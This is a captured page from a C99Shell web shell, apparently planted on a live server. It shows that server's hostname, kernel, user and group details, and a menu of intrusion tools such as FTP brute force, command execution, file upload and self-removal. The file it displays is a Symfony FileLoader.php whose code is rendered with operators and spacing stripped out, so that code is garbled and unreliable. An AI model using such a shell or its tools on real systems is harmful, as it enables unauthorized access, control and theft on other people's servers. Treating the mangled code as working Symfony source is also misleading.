!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/symfony/config/Loader/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FileLoader.php (6.04 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Config\Loader;

use 
Symfony\Component\Config\Exception\FileLoaderImportCircularReferenceException;
use 
Symfony\Component\Config\Exception\FileLocatorFileNotFoundException;
use 
Symfony\Component\Config\Exception\LoaderLoadException;
use 
Symfony\Component\Config\FileLocatorInterface;
use 
Symfony\Component\Config\Resource\FileExistenceResource;
use 
Symfony\Component\Config\Resource\GlobResource;

/**
 * FileLoader is the abstract class used by all built-in loaders that are file based.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
abstract class FileLoader extends Loader
{
    protected static 
$loading = [];

    protected 
$locator;

    private 
$currentDir;

    public function 
__construct(FileLocatorInterface $locatorstring $env null)
    {
        
$this->locator $locator;
        
parent::__construct($env);
    }

    
/**
     * Sets the current directory.
     */
    
public function setCurrentDir(string $dir)
    {
        
$this->currentDir $dir;
    }

    
/**
     * Returns the file locator used by this loader.
     *
     * @return FileLocatorInterface
     */
    
public function getLocator()
    {
        return 
$this->locator;
    }

    
/**
     * Imports a resource.
     *
     * @param mixed                $resource       A Resource
     * @param string|null          $type           The resource type or null if unknown
     * @param bool                 $ignoreErrors   Whether to ignore import errors or not
     * @param string|null          $sourceResource The original resource importing the new resource
     * @param string|string[]|null $exclude        Glob patterns to exclude from the import
     *
     * @return mixed
     *
     * @throws LoaderLoadException
     * @throws FileLoaderImportCircularReferenceException
     * @throws FileLocatorFileNotFoundException
     */
    
public function import($resourcestring $type nullbool $ignoreErrors falsestring $sourceResource null$exclude null)
    {
        if (
\is_string($resource) && \strlen($resource) !== ($i strcspn($resource'*?{[')) && !str_contains($resource"\n")) {
            
$excluded = [];
            foreach ((array) 
$exclude as $pattern) {
                foreach (
$this->glob($patterntrue$_falsetrue) as $path => $info) {
                    
// normalize Windows slashes and remove trailing slashes
                    
$excluded[rtrim(str_replace('\\''/'$path), '/')] = true;
                }
            }

            
$ret = [];
            
$isSubpath !== $i && str_contains(substr($resource0$i), '/');
            foreach (
$this->glob($resourcefalse$_$ignoreErrors || !$isSubpathfalse$excluded) as $path => $info) {
                if (
null !== $res $this->doImport($path'glob' === $type null $type$ignoreErrors$sourceResource)) {
                    
$ret[] = $res;
                }
                
$isSubpath true;
            }

            if (
$isSubpath) {
                return isset(
$ret[1]) ? $ret : ($ret[0] ?? null);
            }
        }

        return 
$this->doImport($resource$type$ignoreErrors$sourceResource);
    }

    
/**
     * @internal
     */
    
protected function glob(string $patternbool $recursive, &$resource nullbool $ignoreErrors falsebool $forExclusion false, array $excluded = [])
    {
        if (
\strlen($pattern) === $i strcspn($pattern'*?{[')) {
            
$prefix $pattern;
            
$pattern '';
        } elseif (
=== $i || !str_contains(substr($pattern0$i), '/')) {
            
$prefix '.';
            
$pattern '/'.$pattern;
        } else {
            
$prefix \dirname(substr($pattern0$i));
            
$pattern substr($pattern\strlen($prefix));
        }

        try {
            
$prefix $this->locator->locate($prefix$this->currentDirtrue);
        } catch (
FileLocatorFileNotFoundException $e) {
            if (!
$ignoreErrors) {
                throw 
$e;
            }

            
$resource = [];
            foreach (
$e->getPaths() as $path) {
                
$resource[] = new FileExistenceResource($path);
            }

            return;
        }
        
$resource = new GlobResource($prefix$pattern$recursive$forExclusion$excluded);

        yield from 
$resource;
    }

    private function 
doImport($resourcestring $type nullbool $ignoreErrors falsestring $sourceResource null)
    {
        try {
            
$loader $this->resolve($resource$type);

            if (
$loader instanceof self && null !== $this->currentDir) {
                
$resource $loader->getLocator()->locate($resource$this->currentDirfalse);
            }

            
$resources \is_array($resource) ? $resource : [$resource];
            for (
$i 0$i $resourcesCount \count($resources); ++$i) {
                if (isset(
self::$loading[$resources[$i]])) {
                    if (
$i == $resourcesCount 1) {
                        throw new 
FileLoaderImportCircularReferenceException(array_keys(self::$loading));
                    }
                } else {
                    
$resource $resources[$i];
                    break;
                }
            }
            
self::$loading[$resource] = true;

            try {
                
$ret $loader->load($resource$type);
            } finally {
                unset(
self::$loading[$resource]);
            }

            return 
$ret;
        } catch (
FileLoaderImportCircularReferenceException $e) {
            throw 
$e;
        } catch (
\Exception $e) {
            if (!
$ignoreErrors) {
                
// prevent embedded imports from nesting multiple exceptions
                
if ($e instanceof LoaderLoadException) {
                    throw 
$e;
                }

                throw new 
LoaderLoadException($resource$sourceResource0$e$type);
            }
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--